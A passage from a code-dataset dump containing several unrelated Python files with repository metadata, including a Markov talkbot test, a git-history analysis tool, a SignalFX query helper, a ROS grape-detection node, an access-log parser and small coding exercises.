sentence_new += chr_start\n\n characters = self.get_trailing_characters()\n chr_next = chr_start\n num_max = token_list.count(chr_next)\n for i in range(50):\n if chr_next.endswith(characters):\n break\n num_r = random.randint(0, num_max)\n for index, chr in enumerate(token_list):\n if chr == chr_next:\n if index >= num_r:\n break\n if index == len(token_list) - 1:\n chr_next = '。'\n else:\n chr_next = token_list[index + 1]\n sentence_new += chr_next\n\n self.sentence_new = sentence_new\n\n\nclass TalkBotTypeNgram(object):\n def make_sentence(self):\n pass\n\n\nclass TalkBotTypeMorpheme(object):\n def make_sentence(self):\n self.setup_chr_start()\n self.make_sentence_core()\n\n def setup_chr_start(self):\n tokens_start = self.starting_token_list\n num = len(tokens_start) - 1\n num = random.randint(0, num)\n self.chr_start = tokens_start[num]\n\n def make_sentence_core(self):\n token_list = self.token_list\n chr_start = self.chr_start\n sentence_new = ''\n sentence_new += chr_start\n\n chr_next = chr_start\n num_max = token_list.count(chr_next)\n for i in range(50):\n if chr_next == '。':\n break\n num_r = random.randint(0, num_max)\n for index, chr in enumerate(token_list):\n if chr == chr_next:\n if index >= num_r:\n break\n if index == len(token_list) - 1:\n chr_next = '。'\n else:\n chr_next = token_list[index + 1]\n sentence_new += chr_next\n\n self.sentence_new = sentence_new\n\n\n@attach_common\nclass TestRunner(object):\n def __init__(self, TestClassList, TestClassBot, num_of_gram):\n self.logger.i('\\n\\n')\n msg = f'Start of testing: TargetTestClass: {TestClassList.__name__} {TestClassBot.__name__}'\n self.logger.i(msg)\n\n try:\n self.download_source_texts()\n self.test_starting_token_of_word_list(TestClassList, num_of_gram)\n self.test_token_list_of_word_list(TestClassList, num_of_gram)\n self.test_msg_by_user_of_word_list(TestClassList, num_of_gram)\n self.test_bot_with_word_list(TestClassBot, TestClassList, num_of_gram)\n except self.NoOverwrittenError:\n msg = 'check if correct overriding is done!'\n msg = 'num_of_gram: {} --> {}'.format(num_of_gram, msg)\n self.logger.e(msg)\n\n msg = 'End of testing:'\n self.logger.i(msg)\n\n def download_source_texts(self):\n from database_downloader import DatabaseDownload\n\n try:\n DatabaseDownload.set_url('')\n DatabaseDownload.do_not_download_html()\n text = DatabaseDownload().get_outcome()\n except (FileNotFoundError, self.AbortProgram):\n DatabaseDownload.remove_tempfiles()\n DatabaseDownload.set_url('')\n DatabaseDownload.do_download_html()\n text = DatabaseDownload().get_outcome()\n self.text_target = text\n\n def test_starting_token_of_word_list(self, TestClassList, num_of_gram):\n text_target = self.text_target\n lister = TestClassList(\n num_of_gram=num_of_gram,\n text_target=text_target,\n )\n lister.get_starting_token_list()\n\n def test_token_list_of_word_list(self, TestClassList, num_of_gram):\n text_target = self.text_target\n lister = TestClassList(\n num_of_gram=num_of_gram,\n text_target=text_target,\n )\n lister.get_token_list()\n\n def test_msg_by_user_of_word_list(self, TestClassList, num_of_gram):\n text_target = self.text_target\n lister = TestClassList(\n num_of_gram=num_of_gram,\n text_target=text_target,\n )\n lister(msg_by_user='白い服を着ている私はおそらく元気だなぁ')\n lister.get_user_msg()\n\n def test_bot_with_word_list(self, TestClassBot, TestClassList, num_of_gram):\n text_target = self.text_target\n lister = TestClassList(\n num_of_gram=num_of_gram,\n text_target=text_target,\n )\n\n bot = TestClassBot(\n starting_token_list=lister.get_starting_token_list(),\n token_list=lister.get_token_list(),\n )\n\n for i in range(10):\n msg_by_user = random.choice(self.config.MSGS_BOT_NONE)\n msg = f' msg_by_user: {msg_by_user}'\n self.logger.i(msg)\n\n lister(msg_by_user=msg_by_user)\n sentence_new = bot.make_sentence(\n starting_token_list=lister.get_starting_token_list(),\n token_list=lister.get_token_list(),\n )\n\n msg = f'sentence_new: {sentence_new}'\n self.logger.i(msg)\n self.logger.i('')\n\n\nif __name__ == '__main__':\n from ai_list_common import (\n ListTypeNgram,\n ListTypeMorpheme,\n ListBase,\n ListInterface,\n )\n\n class ListClassA(ListTypeNgram, ListBase, ListInterface):\n pass\n\n class ListClassB(ListTypeMorpheme, ListBase, ListInterface):\n pass\n\n class BotClassA(BotTypeNgram, BotBase, BotInterface):\n pass\n\n class BotClassB(BotTypeMorpheme, BotBase, BotInterface):\n pass\n\n TestClassList = ListClassA\n TestClassBot = BotClassA\n TestRunner(TestClassList, TestClassBot, num_of_gram=TestClassBot.config.DISABLE_NGRAM)\n\n TestClassList = ListClassB\n TestClassBot = BotClassB\n TestRunner(TestClassList, TestClassBot, num_of_gram=TestClassBot.config.DISABLE_NGRAM)\n","repo_name":"WhiteSlope1000/white-slope-portfolio","sub_path":"ai_talkbot_version01/application/ai_bot_common.py","file_name":"ai_bot_common.py","file_ext":"py","file_size_in_byte":7166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"11056700760","text":"import shlex\nimport logging\nfrom subprocess import Popen, PIPE\nfrom corpus import *\nfrom distancemodel import CorpusDistModel\n\n\nclass GitContext(CorpusContext):\n\n def __init__(self, repo_path, source_path):\n \"\"\"source_path can be a folder or a file\"\"\"\n self.repo_path = repo_path\n self.source_path = source_path\n\n\nclass GitRepo(object):\n \"\"\"Handy-dandy operations for a git repo\"\"\"\n\n def __init__(self, path):\n \"\"\"path is the full path to a repo\"\"\"\n git_dir_arg = '--git-dir=%s/.git' % path\n work_tree_arg = '--work-tree=%s' % path\n self.git = 'git %s %s' % (git_dir_arg, work_tree_arg)\n self.path = path + \"/\" # sanitation\n\n def rev_list(self, path=\".\", reverse=False):\n \"\"\"get a list of revisions\"\"\"\n reverse_flag = '--reverse' if reverse else ''\n command = '%s rev-list %s master %s%s' % (\n self.git, reverse_flag, self.path, path)\n return self.run_command(command)\n\n def show(self, commit, path=\".\"):\n \"\"\"Call git show to view contents of a file\n commit is a hash.\n path is the path to the file.\n \"\"\"\n command = '%s show %s:%s' % (self.git, commit, path)\n return self.run_command(command)\n\n def diff(self, old_rev, as_rev, path):\n command = '%s diff %s %s -- %s' % (self.git, old_rev, as_rev, path)\n return self.run_command(command)\n\n def diff_patience(self, old_rev, as_rev, path):\n command = '%s diff --patience %s %s -- %s' % (self.git, old_rev, as_rev, path)\n return self.run_command(command)\n\n def commit_time(self, commit):\n command = '%s show -s --format=%%at %s' % (self.git, commit)\n return self.run_command(command)\n\n def commit_datetime(self, commit):\n command = '%s show -s --format=%%ci %s' % (self.git, commit)\n return self.run_command(command)\n\n def log_line_with_grep(self, grep, path):\n command = \"%s log --grep='%s' --pretty=oneline -- %s\" % (\n self.git, grep, path)\n return self.run_command(command)\n\n def run_command(self, command):\n debug(command)\n process = Popen(shlex.split(command), stdout=PIPE)\n (output, err) = process.communicate()\n exit_code = process.wait()\n return (exit_code, output, err)\n\n\nclass GitRepoIter(CorpusRevisionIter):\n \"\"\"Iterates through revisions of a git version-controlled file \"\"\"\n\n def __init__(self, name, git_repo, filepath, offset):\n self.git_repo = git_repo\n self.filepath = filepath\n self.name = name\n self.offset = offset\n\n # TODO: This comes from WikiIter. abstract the iterator\n self.use_blacklist = False\n self.title = 'syscall'\n\n (exit_code, output, err) = self.git_repo.rev_list(\n path=filepath, reverse=True)\n debug(\"%d %s %s\" % (exit_code, output, err))\n if exit_code:\n self.commits = []\n else:\n self.commits = output.strip().split(\"\\n\")\n debug(\"Commits: \" + str(self.commits))\n\n def __iter__(self):\n return self\n\n def next(self):\n if self.offset >= len(self.commits):\n print(\"Iterated over \" + str(self.offset) + \" commits\")\n raise StopIteration()\n\n commit = self.commits[self.offset]\n\n (exit_code, content, err) = self.git_repo.show(commit, self.filepath)\n if exit_code:\n debug(\"Iterator failed to get next commit: %d %s %s\" %\n (exit_code, content, err))\n raise StopIteration()\n\n (exit_code, timestamp, err) = self.git_repo.commit_time(commit)\n if exit_code:\n debug(\"Iterator failed to get commit time: %d %s %s\" %\n (exit_code, timestamp, err))\n raise StopIteration()\n\n self.offset += 1\n # content = content.decode('ascii', 'replace')\n return (commit, float(timestamp), content)\n\n\nclass GitDiffDistModel(CorpusDistModel):\n\n def __init__(self, repo_path):\n self.git_repo = GitRepo(repo_path)\n\n def distance(self, analysis_context, old_rev, new_rev, filekey):\n if old_rev == new_rev:\n return 0\n\n (exit_code, diff, err) = self.git_repo.diff(\n old_rev, new_rev, analysis_context.source_path)\n if exit_code:\n debug(\"Git diff failed: git diff %s %s %s\" % (old_rev,\n new_rev, analysis_context.source_path))\n assert(False) # Try again?\n\n lines = diff.split('\\n')\n result = 0\n for line in lines:\n if line.startswith('+') or line.startswith('-'):\n result += 1\n return result\n\n\nclass PatientDiffDistModel(CorpusDistModel):\n\n def __init__(self, repo_path):\n self.git_repo = GitRepo(repo_path)\n\n def distance(self, analysis_context, old_rev, new_rev, filekey):\n if old_rev == new_rev:\n return 0\n\n (exit_code, diff, err) = self.git_repo.diff_patience(\n old_rev, new_rev, analysis_context.source_path)\n if exit_code:\n debug(\"Git diff failed: git diff %s %s %s\" % (old_rev,\n new_rev, analysis_context.source_path))\n assert(False) # Try again?\n\n lines = diff.split('\\n')\n result = 0\n for line in lines:\n if line.startswith('+') or line.startswith('-'):\n result += 1\n return result\n\n\ndef debug(string):\n logging.getLogger(__name__).info(string)\n","repo_name":"zou3519/repo-history","sub_path":"gitcorpus.py","file_name":"gitcorpus.py","file_ext":"py","file_size_in_byte":5573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"3343359786","text":"def expanded_form(num):\n num_length = len(str(num))\n if num_length > 1:\n zeros = num_length -1\n final_num = \"\"\n for i in str(num):\n if i in ('1','2','3','4','5','6','7','8','9'):\n final_num = final_num + \" + \" + i + str(0)*zeros\n zeros = zeros - 1\n else:\n zeros = zeros - 1\n return final_num[3:].strip()\n else:\n return str(num)\n\nresult = expanded_form(70304)\nprint(result)\n","repo_name":"hugoreyes83/scripts","sub_path":"codewars7.py","file_name":"codewars7.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17736949914","text":"\n\nCHOOSE_VERSION = \"Which version would you like to interact with? RU/EN\\n\"\n\nENTER_ZIP_CODE = 'Enter a ZIP Code to lookup => '\n\nENTER_FIRST_ZIP = 'Enter the first ZIP Code => '\n\nENTER_SECOND_ZIP = 'Enter the second ZIP Code => '\n\nENTER_CITY = 'Enter a city name to lookup => '\n\nENTER_STATE = 'Enter the state name to lookup => '\n\nINVALID_ZIP = 'Invalid or unknown ZIP Code'\n\nINPUT_COMMANDS = \"Command ('loc', 'zip', 'dist', 'end', 'lang') => \"\n\nLOC_COM = 'loc'\n\nZIP_COM = 'zip'\n\nDIST_COM = 'dist'\n\nEND_COM = 'end'\n\nINVALID_COM_MESSAGE = \"Invalid command, ignoring\"\n\nDONE_MESSAGE = 'Done'\n\nSWITCH_LANG = 'lang'\n","repo_name":"MariaInCyberspace/ITMO.PythonCourse","sub_path":"Lab_ZIP_Refactored/zip_literals.py","file_name":"zip_literals.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33590524188","text":"import colorlog\nimport signalfx\nfrom arrow import Arrow\nfrom signalfx.signalflow.messages import DataMessage\n\n\nlogger = colorlog.getLogger(__name__)\n\n\nTS_QUERY_PROGRAM_TEMPLATE = \"\"\"data(\n \"{metric}\",\n filter={filters},\n extrapolation=\"{extrapolation}\",\n maxExtrapolations={max_extrapolations},\n rollup={rollup}\n){aggregation}.publish()\n\"\"\"\n\n\nclass Aggregation:\n def __init__(self, method, by=None, over=None):\n self.method = method\n if by and over:\n raise ValueError(f\"by and over cannot both be set: {by}, {over}\")\n self.by = by\n self.over = over\n\n def __str__(self):\n if self.by:\n args = f\"by={str(self.by)}\"\n elif self.over:\n args = f\"over={self.over}\"\n else:\n args = \"\"\n return \"{method}({args})\".format(method=self.method, args=args)\n\n def __eq__(self, other):\n return self.method == other.method and self.by == other.by and self.over == other.over\n\n\ndef _make_ts_label(raw_data, tsid, dimensions):\n \"\"\"Make a label for a timeseries data point returned from SignalFX\n\n :param raw_data: a processed data stream from SFX\n :param tsid: the timeseries ID for a datapoint in the SFX stream\n :param dimensions: a list of dimensions to create the label from\n :returns: a comma-separated list of the specified dimension values for this tsid\n \"\"\"\n if not dimensions:\n return \"\"\n metadata = raw_data.get_metadata(tsid)\n return \",\".join([metadata[dim] for dim in sorted(dimensions)])\n\n\ndef _make_filter_string(filters):\n \"\"\"Create a filter string used to modify a SignalFX query\n\n :param filters: a list of (filter_name, value) tuples\n :returns: a SignalForm filter string -- 'filter(\"filter_1\", \"value_1\") and filter(\"filter_2\", \"value_2\")'\n \"\"\"\n if not filters:\n return \"None\"\n\n fstring = \"\"\n for name, value in filters:\n fstring += f'filter(\"{name}\", \"{value}\") and '\n return fstring[:-5]\n\n\ndef execute_sfx_program(api_token, program, start_time, end_time, dimensions=None, resolution=60):\n \"\"\"Execute an arbitrary SignalFlow program\n\n :param api_token: a valid SFX API query token (you can get this from the SignalFX dashboard)\n :param program: a valid signalflow program to execute\n :param start_time: beginning of program execution range, as an Arrow object\n :param end_time: end of program execution range, as an Arrow object\n :param dimensions: list of strings to group the returned timeseries by\n :param resolution: smallest time interval (in seconds) to evaluate the program on\n note: SignalFX has a maximum resolution of 1 minute, and only for the most recent data;\n setting a resolution higher than this (or even 1 minute for older data) will be ignored\n :returns: a list of (timestamp, data_points) tuples, where data_points is a dict of timeseries_name -> value\n \"\"\"\n with signalfx.SignalFx().signalflow(api_token) as sfx:\n curr_time = start_time\n datapoints = []\n while curr_time < end_time:\n # To prevent overloading SignalFX we grab a maximum of 5 days worth of data at a time\n next_time = min(curr_time.shift(days=5), end_time)\n logger.info(f\"Querying SignalFX from {curr_time} to {next_time}\")\n raw_data = sfx.execute(\n program,\n # SignalFX operates on millisecond timescales\n start=curr_time.timestamp * 1000,\n stop=next_time.timestamp * 1000,\n resolution=resolution * 1000,\n )\n\n # We can only call _make_ts_label after all of the entries in the raw_data.stream() have been processed\n data_messages = [msg for msg in raw_data.stream() if isinstance(msg, DataMessage)]\n new_datapoints = sorted(\n [\n (\n Arrow.utcfromtimestamp(msg.logical_timestamp_ms / 1000),\n {_make_ts_label(raw_data, key, dimensions): value for key, value in msg.data.items()},\n )\n for msg in data_messages\n ]\n )\n\n # SignalFX sometimes gives us duplicate datapoints at the beginning of one chunk/the start of\n # the next chunk. This doesn't play nicely with the metrics client so detect and remove those here\n if datapoints and new_datapoints[0][0] == datapoints[-1][0]:\n new_datapoints = new_datapoints[1:]\n datapoints.extend(new_datapoints)\n\n curr_time = next_time\n return datapoints\n\n\ndef basic_sfx_query(\n api_token,\n metric,\n start_time,\n end_time,\n rollup=\"average\",\n extrapolation=\"null\",\n max_extrapolations=0,\n filters=None,\n resolution=60,\n aggregation=Aggregation(\"sum\"),\n):\n \"\"\"Run the simplest of all SignalFX queries: specify a metric name to query and (optionally) some filters, and sum\n the results into a single timeseries.\n\n :param api_token: a valid SFX API query token (you can get this from the SignalFX dashboard)\n :param metric: name of the metric to query\n :param start_time: beginning of program execution range, as an Arrow object\n :param end_time: end of program execution range, as an Arrow object\n :param rollup: a valid SignalFX rollup string, or None for the default\n :param extrapolation: one of 'null', 'zero', or 'last_value'\n :param max_extrapolations: how many times to apply the extrapolation policy\n :param filters: a list of (filter_name, filter_value) tuples\n :param resolution: smallest time interval (in seconds) to evaluate the program on\n note: SignalFX has a maximum resolution of 1 minute, and only for the most recent data;\n setting a resolution higher than this (or even 1 minute for older data) will be ignored\n :param aggregation: an Aggregation object describing how to group the results\n :returns: a list of (timestamp, value) tuples\n \"\"\"\n rollup = f'\"{rollup}\"' if rollup else \"None\"\n agg_string = f\".{aggregation}\" if aggregation else \"\"\n program = TS_QUERY_PROGRAM_TEMPLATE.format(\n metric=metric,\n filters=_make_filter_string(filters),\n rollup=rollup,\n extrapolation=extrapolation,\n max_extrapolations=max_extrapolations,\n aggregation=agg_string,\n )\n return execute_sfx_program(\n api_token,\n program,\n start_time,\n end_time,\n resolution=resolution,\n dimensions=(aggregation.by if aggregation else []),\n )\n","repo_name":"Yelp/clusterman","sub_path":"clusterman/common/sfx.py","file_name":"sfx.py","file_ext":"py","file_size_in_byte":6593,"program_lang":"python","lang":"en","doc_type":"code","stars":296,"dataset":"github-code","pt":"7"} +{"seq_id":"15962660981","text":"#!/usr/bin/env python\n#Heavily based on image project 3 workshop solution and the opencv example\n#https://github.com/LCAS/CMP9767M/blob/master/uol_cmp9767m_tutorial/scripts/image_projection_3.py\n#https://github.com/LCAS/CMP9767M/blob/master/uol_cmp9767m_tutorial/scripts/opencv_test.py\n# Python libs\nimport collections\nfrom pickle import TRUE\nimport sys, time\nimport math\nfrom multiprocessing import ProcessError\nfrom tkinter import EXCEPTION\nfrom turtle import position\n# OpenCV\nimport cv2\nfrom cv2 import blur, Canny, resize, INTER_CUBIC\nimport numpy as np\nimport numpy\nfrom numpy import ndarray\n# Ros libraries\n#sudo apt update\n#sudo apt install python-image-geometry\nimport roslib, rospy, image_geometry, tf\nfrom sklearn.cluster import DBSCAN\n#message filters\nimport message_filters\n# Ros Messages\nfrom sensor_msgs.msg import Image, CameraInfo\nfrom geometry_msgs.msg import PoseStamped\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom sensor_msgs.msg import PointCloud2\nfrom sensor_msgs import point_cloud2\nimport imutils\nimport robot_front_camera\nimport robot_right_camera\nimport robot_left_camera\nclass image_projection:\n camera_model = None\n image_depth_ros = None\n\n visualisation = True\n # aspect ration between color and depth cameras\n # calculated as (color_horizontal_FOV/color_width) / (depth_horizontal_FOV/depth_width) from the kinectv2 urdf file\n # (84.1/1920) / (70.0/512)\n object_coordinates = []\n\n def __init__(self):\n\n #front camera------------------------------------------------------------\n self.bridge = CvBridge()\n self.object_location_pub = rospy.Publisher('/thorvald_001/object_location', PoseStamped, queue_size=10)\n\n front_camera_subs = [\n message_filters.Subscriber('/thorvald_001/kinect2_front_camera/hd/camera_info', CameraInfo),\n message_filters.Subscriber('/thorvald_001/kinect2_front_camera/hd/image_color_rect', Image),\n message_filters.Subscriber('/thorvald_001/kinect2_front_sensor/sd/image_depth_rect', Image),\n ]\n\n fs = message_filters.ApproximateTimeSynchronizer(front_camera_subs, 1, 0.1, allow_headerless=True)\n fs.registerCallback(self.image_cb)\n #right camera------------------------------------------------------------\n right_camera_subs = [\n message_filters.Subscriber('/thorvald_001/kinect2_right_camera/hd/camera_info', CameraInfo),\n message_filters.Subscriber('/thorvald_001/kinect2_right_camera/hd/image_color_rect', Image),\n message_filters.Subscriber('/thorvald_001/kinect2_right_sensor/sd/image_depth_rect', Image),\n ]\n\n rs = message_filters.ApproximateTimeSynchronizer(right_camera_subs, 1, 0.1, allow_headerless=True)\n rs.registerCallback(self.image_cb)\n \n left_camera_subs = [\n message_filters.Subscriber('/thorvald_001/kinect2_left_camera/hd/camera_info', CameraInfo),\n message_filters.Subscriber('/thorvald_001/kinect2_left_camera/hd/image_color_rect', Image),\n message_filters.Subscriber('/thorvald_001/kinect2_left_sensor/sd/image_depth_rect', Image),\n ]\n\n ls = message_filters.ApproximateTimeSynchronizer(left_camera_subs, 1, 0.1, allow_headerless=True)\n ls.registerCallback(self.image_cb)\n\n self.tf_listener = tf.TransformListener()\n #robot_front_camera.image_projection()\n #robot_left_camera.image_projection()\n robot_right_camera.image_projection()\n def image_cb(self, camera_info_msg, rgb_msg, depth_msg):\n\n try:\n color2depth_aspect = (84.1/1920) / (70.0/512)\n camera_model = image_geometry.PinholeCameraModel()\n camera_model.fromCameraInfo(camera_info_msg)\n \n # covert images to open_cv\n try:\n image_color = self.bridge.imgmsg_to_cv2(rgb_msg, \"bgr8\")\n image_depth = self.bridge.imgmsg_to_cv2(depth_msg, \"32FC1\")\n except CvBridgeError as e:\n print (e)\n\n # if kernel is too big then the blobs wont be detected \n kernelOpen=np.ones((10,10))# uses two techniques called dialation and erosion to open and image an filter out noise to increase the accuracy of the mask\n kernelClose=np.ones((25,25))\n\n #convert BGR to HSV\n image_colorHSV= cv2.cvtColor(image_color,cv2.COLOR_BGR2HSV)\n \n # detect a grape in the color image\n image_mask = cv2.inRange(image_colorHSV, (100,30,55), (255,255,255))\n\n #cv2.imshow('HSV',image_colorHSV)\n #morphology open and close to remove noise in the image\n image_maskClose=cv2.morphologyEx(image_mask,cv2.MORPH_CLOSE,kernelClose)\n image_maskOpen=cv2.morphologyEx(image_maskClose,cv2.MORPH_OPEN,kernelOpen)\n \n #conts stores the number of contours that are detected in the image\n image_maskFinal=image_maskOpen\n conts = cv2.findContours(image_maskFinal.copy(),cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\n # calculate moments of the binary image\n conts = imutils.grab_contours(conts)\n for c in conts:\n try:\n M = cv2.moments(c)\n\n # if M[\"m00\"] == 0:\n # print ('No grapes detected in', camera_info_msg.header.frame_id)\n # return\n # else:\n # print(\"grapes detected in\", camera_info_msg.header.frame_id)\n # calculate the y,x centroid\n image_coords = (M[\"m01\"] / M[\"m00\"], M[\"m10\"] / M[\"m00\"])\n # \"map\" from color to depth image\n depth_coords = (image_depth.shape[0]/2 + (image_coords[0] - image_color.shape[0]/2)*color2depth_aspect,\n image_depth.shape[1]/2 + (image_coords[1] - image_color.shape[1]/2)*color2depth_aspect)\n # get the depth reading at the centroid location\n depth_value = image_depth[int(depth_coords[0]), int(depth_coords[1])] # you might need to do some boundary checking first!\n\n print ('image coords: ', image_coords)\n print ('depth coords: ', depth_coords)\n print ('depth value: ', depth_value)\n\n # calculate object's 3d location in camera coords\n camera_coords = camera_model.projectPixelTo3dRay((image_coords[1], image_coords[0])) #project the image coords (x,y) into 3D ray in camera coords\n camera_coords = [x/camera_coords[2] for x in camera_coords] # adjust the resulting vector so that z = 1\n camera_coords = [x*depth_value for x in camera_coords] # multiply the vector by depth\n\n print ('camera coords: ', camera_coords)\n bunches=0\n #define a point in camera coordinates\n object_location = PoseStamped()\n object_location.header.frame_id = camera_info_msg.header.frame_id\n object_location.pose.orientation.w = 1.0\n object_location.pose.position.x = camera_coords[0]\n object_location.pose.position.y = camera_coords[1]\n object_location.pose.position.z = camera_coords[2]\n\n # publish so we can see that in rviz\n self.object_location_pub.publish(object_location)\n \n # print out the coordinates in the map frame\n p_camera = self.tf_listener.transformPose('map', object_location)\n\n print ('map coords: ', p_camera.pose.position)\n print ('')\n \n #temp_list = str([round(p_camera.pose.position.x,1),round(p_camera.pose.position.y,1),round(p_camera.pose.position.z,1)])\n #self.object_coordinates_set.add(temp_list)\n\n if(~numpy.isnan(depth_value)):\n self.object_coordinates.append([round(p_camera.pose.position.x,8),round(p_camera.pose.position.y,8),round(p_camera.pose.position.z,8),])\n \n filter(lambda v:v==v,self.object_coordinates)\n\n temp = DBSCAN(eps=0.05, min_samples=15).fit(self.object_coordinates)\n \n bunches = np.unique(temp.labels_)\n \n \n print(len(bunches), \" bunches of grapes have been detected\")\n #time.sleep(1)\n print(bunches)\n except:\n continue\n\n except Exception as e:\n print(e)\n\ndef main(args):\n '''Initializes and cleanup ros node'''\n rospy.init_node('image_projection', anonymous=True)\n ic = image_projection()\n try:\n rospy.spin()\n except KeyboardInterrupt:\n print (\"Shutting down\")\n cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n main(sys.argv)\n","repo_name":"Progr4m4573R/MSc-Robotics-and-Autonomous-Systems","sub_path":"Robot Programming/Assignment/Move_and_avoid_function/Assignment3cams.py","file_name":"Assignment3cams.py","file_ext":"py","file_size_in_byte":9093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27176407483","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\ninput_1 = input()\r\ninput_2 = input()\r\n\r\nn = int(input_1.split(\",\")[0])\r\nfire_dept = int(input_1.split(\",\")[1]) # k\r\ncatch_fire = list() # h\r\ncity_matrix = list() # 2d array constructed by list\r\nfire_dept_building = list()\r\ntotal_path = 0\r\n\r\nfor i in range(n):\r\n catch_fire.append(int(input_2.split(\",\")[i]))\r\n\r\n# Create Distance Matrix\r\nfor i in range(n):\r\n distance = input()\r\n temp_list = list()\r\n for j in range(n):\r\n temp_list.append(int(distance.split(\",\")[j]))\r\n city_matrix.append(temp_list)\r\n\r\n\r\n# first fire department\r\nfirst_loc = list()\r\nfor i in range(n):\r\n distance = 0\r\n for j in range(n):\r\n distance += catch_fire[j] * city_matrix[j][i]\r\n first_loc.append([distance, i + 1])\r\nfire_dept_building.append(min(first_loc)[1])\r\n\r\n# other fire department\r\nfor i in range(fire_dept - 1):\r\n max_distance = int()\r\n each_distance = list()\r\n\r\n for j in range(n):\r\n each_path_min = 1001 # for default purpose\r\n fire_dept_candidate = 1 # for default purpose\r\n if j + 1 not in fire_dept_building:\r\n for k in range(n):\r\n if ((k + 1 in fire_dept_building)\r\n and (city_matrix[j][k] < each_path_min)):\r\n each_path_min = city_matrix[j][k]\r\n fire_dept_candidate = j + 1\r\n each_distance.append([each_path_min, fire_dept_candidate])\r\n\r\n temp_list = list()\r\n for m in range(len(each_distance)):\r\n if (max(each_distance)[0]) == (each_distance[m][0]):\r\n temp_list.append(each_distance[m])\r\n fire_dept_building.append(min(temp_list)[1])\r\n\r\n# Calculate total path\r\nfor i in range(n):\r\n if i + 1 not in fire_dept_building:\r\n temp_list = list()\r\n for j in range(n):\r\n if j + 1 in fire_dept_building:\r\n temp_list.append(city_matrix[i][j] * catch_fire[i])\r\n total_path += min(temp_list)\r\n\r\nfor i in range(len(fire_dept_building)):\r\n print(fire_dept_building[i], end=\"\")\r\n if i != len(fire_dept_building) - 1:\r\n print(\",\", end=\"\")\r\nprint(\";\", end=\"\")\r\nprint(total_path, end=\"\")\r\n","repo_name":"ricky855073/MGT1006","sub_path":"Week5/hw4_3.py","file_name":"hw4_3.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72368521503","text":"filename_in = 'access.log'\nfilename_out = 'res_py.txt'\nf_in = open(filename_in, 'r')\nf_out = open(filename_out, \"w\")\n\n## Общее количество запросов\n\nn = sum(1 for line in f_in)\nf_out.write(\"Общее количество запросов:\\n\")\nf_out.write(str(n))\n\nf_in.seek(0)\n\n##Общее количество запросов по типам\n\nrequest = {}\n\nfor i in range(n):\n line = f_in.readline().split()[5:6][0].strip(\"\\\"\")\n if (len(line) > 6):\n continue\n if (str(line) not in request):\n request[str(line)] = 1\n else:\n request[str(line)] += 1\n\n\nf_out.write(\"\\n\\nОбщее количество запросов по типам:\\n\")\nfor key,value in request.items():\n f_out.write(str(value) + ' ' + str(key) + '\\n')\n\nf_in.seek(0)\n\n##Топ 10 самых частых запросов\n\nurl_dict = {}\nsorted_url = {}\n\nfor i in range(n):\n line = f_in.readline().split()[6:7][0]\n flag = 1\n for key, value in url_dict.items():\n if (line == key):\n value += 1\n url_dict[line] += 1\n flag = 0\n if (flag):\n url_dict[line] = 1\n\nsorted(url_dict, key=url_dict.get, reverse=True)\n\nsorted_keys = sorted(url_dict, key=url_dict.get, reverse=True) \n\nfor w in sorted_keys:\n sorted_url[w] = url_dict[w]\n\nf_out.write(\"\\nТоп 10 самых частых запросо��:\")\ncount = 0\nfor key, value in sorted_url.items():\n f_out.write(\"\\n\" + str(value) + \" \" + str(key))\n count += 1\n if (count == 10):\n break\n\nf_in.seek(0)\n\n##Топ 5 самых больших по размеру запросов, которые завершились клиентской (4ХХ) ошибкой\n\nmistake_4 = {}\n\narr_rc = []\narr_ip = []\narr_size = []\narr_url = []\n\nfor i in range (n):\n line = f_in.readline().split()\n if (int(line[8:9][0]) < 400 or int(line[8:9][0]) >= 500):\n continue\n\n arr_rc.append(int(line[8:9][0]))\n arr_size.append(int(line[9:10][0]))\n arr_ip.append(line[0:1][0])\n arr_url.append(line[6:7][0])\n\narr_res = zip(arr_rc, arr_size, arr_ip, arr_url)\nsorted_arr_res = sorted(arr_res, key = lambda arr_res: arr_res[1], reverse=True)\n\nf_out.write(\"\\n\\nТоп 5 самых больших по размеру запросов, которые завершились клиентской (4ХХ) ошибкой:\")\nfor i in range(5):\n f_out.write(\"\\n\" + str(sorted_arr_res[i]))\n\nf_in.seek(0)\n\n##Топ 5 пользователей по количеству запросов, которые завершились серверной (5ХХ) ошибкой\n \nip_dict = {}\nsorted_ip = {}\nfor i in range (n):\n line = f_in.readline().split()\n if (int(line[8:9][0]) < 500 or int(line[8:9][0]) >= 600):\n continue\n flag = 1\n\n for key, value in ip_dict.items():\n if (line[0:1][0] == key):\n value += 1\n ip_dict[line[0:1][0]] += 1\n flag = 0\n if (flag):\n ip_dict[line[0:1][0]] = 1\n\nsorted(ip_dict, key=ip_dict.get, reverse=True)\nsorted_keys = sorted(ip_dict, key=ip_dict.get, reverse=True) \n\nfor w in sorted_keys:\n sorted_ip[w] = ip_dict[w]\n\nf_out.write(\"\\n\\nТоп 5 пользователей по количеству запросов, которые завершились серверной (5ХХ) ошибкой:\")\ncount = 0\nfor key, value in sorted_ip.items():\n f_out.write(\"\\n\" + str(value) + \" \" + str(key))\n count += 1\n if (count == 5):\n break\n\nf_in.close\nf_out.close","repo_name":"Dashori/mail_QA_course.py","sub_path":"homework-5/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":3503,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70245897184","text":"def rotate(text, key):\n rotated = ''\n for char in text:\n if char.isalpha():\n if char.islower():\n number = ord(char) - 96\n shift_number = number + key\n if(shift_number > 26):\n shift_number = shift_number - 26\n rotated += chr(shift_number + 96)\n else:\n number = ord(char) - 64\n shift_number = number + key\n 